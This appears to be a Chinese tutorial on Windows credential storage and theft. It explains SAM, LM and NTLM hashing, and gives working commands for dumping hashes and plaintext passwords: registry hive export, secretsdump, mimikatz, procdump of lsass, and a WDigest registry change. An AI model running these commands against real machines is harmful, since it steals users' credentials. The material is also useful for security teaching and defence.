Hash
1. 概念
- 把任意长度的输入,通过散列算法,变换成固定长度的输出,该输出就是散列值。
2. 应用
- 文件校验:奇偶校验、CRC校验(例如MD5)
- 数字签名:对Hash值(数字摘要)进行数字签名
- 基于口令的加密:md5、md4、等
Windows本地凭证
1. 存储位置
存储在
C:\\Windows\System32\config\SAM
2. 介绍
- 在Windows系统中,对用户账户的安全管理采用了SAM(Security Acoount Manager,安全账号管理)机制,用户账户以及密码经过Hash加密之后,都保存在SAM数据库中。
- Winlogon.exe 是Windows NT用户登陆程序,用于管理用户登录和退出
- Lsass.exe 是windows系统的安全机制,它用于本地安全和登陆策略
(1). 流程
- 首先,用户注销、重启、锁屏后,操作系统会让winlogon.exe 显示登录界面,让用户输入密码之后将密码交给lsass.exe,这个进程中会保存一份明文密码,将明文密码加密成NTLM Hash与SAM数据库比较认证,成功则返回
userSID
和groupSID
。
3. 加密方式
(1). LM
a. 前提
- 只针对于win2003(包括)之前的系统,安全性较差,容易被逆向。
b. 加密过程
- 明文密码 => 转化为大写 => 补齐14个字符 => 左右均分,各7个字符 => 在末尾分别添加
校验位1
,生成DES密钥 => 使用DES密钥加密给定字符串 => 将加密后字符串拼接 => 最终hash值
(2). NTLM
- 明文密码 => hex处理 => unicode处理 => MD4处理 => 最终hash值
4. Hash获取方式
(1). QuarksPwDump.exe
- 相关参数
-dhl 导出本地哈希值
-dhdc导出内存中的域控哈希值
-dhd 导出域控哈希值,必须指定NTDS文件
-db 导出Bitlocker信息,必须指定NTDS文件
-nt 导出ntds文件
-hist 导出历史信息,可选项
-t 导出类型可选默认导出为John类型。
-o 导出文件到本地
实际使用
先进入到程序页面
QuarksPwDump.exe
直接在程序中显示
QuarksPwDump.exe -dhl
导出到文件
QuarksPwDump.exe -dhl -o 1.txt
(2). wce.exe
直接在命令行中,运行程序即可获得
wce.exe
(3). pwdump7.exe
直接在命令行中,运行程序即可获得
pwdump7.exe
(4). 手工免杀获取
使用注册表来导出hash,本地破解
reg save HKLM\SYSTEM sys.hiv reg save HKLM\SAM sam.hiv reg save hklm\security security.hiv secretsdump.py -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
导出sam文件
一般用在域控上几万 几十万用户的时候
shadow copy
其他方式
procdump(或者lsadump) +mimikatz Powershell + mimikatz powershell + getpasshash powershell + 其他工具
5. Hash破解
Windows的Hash密码的格式(没有盐值):
Username:RlD:Lmhash:NThash
(1). 本地破解
- 这里使用Ophcrack软件进行演示Ophcrack
a. 设置彩虹表
先到官网或者其他地方下载彩虹表内容,这里给出官方的彩虹表下载地址Ophcrack彩虹表
打开软件,设置彩虹表的所在路径,该路径必须位于一个叫做
tables文件夹
的子目录下
b. 加载sam文件
c. 查看Hash值
我这里以单个Hash的破解为例,成功加载后,应该显示如下情况的内容
d. 破解Hash值
- 单击crack,等待一段时间,可能就会的到解密答案
(2). 在线破解
- http://tool.geekapp.cn/decrypt.php
- https://www.cmd5.com/
6. 获取明文密码
(1). 原理
- windows 将登录密码加密后存在内存中,这样只要我们找到对应的内存段,然后解密那块内存,就得到了明文密码。已经知道 windows 的加密密码内存段是在lsass,exe的进程空间里,所以攻击者只要注入到进程空间,定位到那块内存剩下的事就是逆向一个字符串加密算法的过程了。
注意:一定要在system权限下获取明文密码
(2). 常用工具
a. WCE.exe
wce.exe -w
b. Getpass.exe
#直接运行程序
Getpass.exe
c. Mimickatz.exe
- 支持的版本
①注意事项
版本问题
当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段会显示为null
解决方法:通过修改注册表来抓取明文密码,但需要用户下次登录时才能成功抓取
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest /v UseLogonCredential /t REG DWORD /d 1 /f
补丁问题
在 KB2871997 之前, Mimikatz 可以直接抓取明文密码。安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth
内存(lsass进程)不再保存明文口令。
②方法
- 需要进行提升权限的操作,然后直接获取
#在命令行中单独执行
privilege::debug //提升权限
sekurlsa::logonpasswords //抓取密码
#在命令行中合并执行
mimikatz.exe ""privilege:debug"" ""sekurlsa::logonpasswords full""
#进一步输出到文本中
mimikatz.exe ""privilege:debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt
先通过procdump.exe导出Lsass.exe的进程文件lsass.dmp,再使用猕猴桃进行读取
#先通过procdump导出进程文件内容 procdump64.exe -accepteula -ma lsass.exe lsass.dmp #再进一步分析文件 mimikatz.exe "sekurlsa:minidump lsass.dmp" "sekurlsa:logonPasswords full" exit >> 1.txt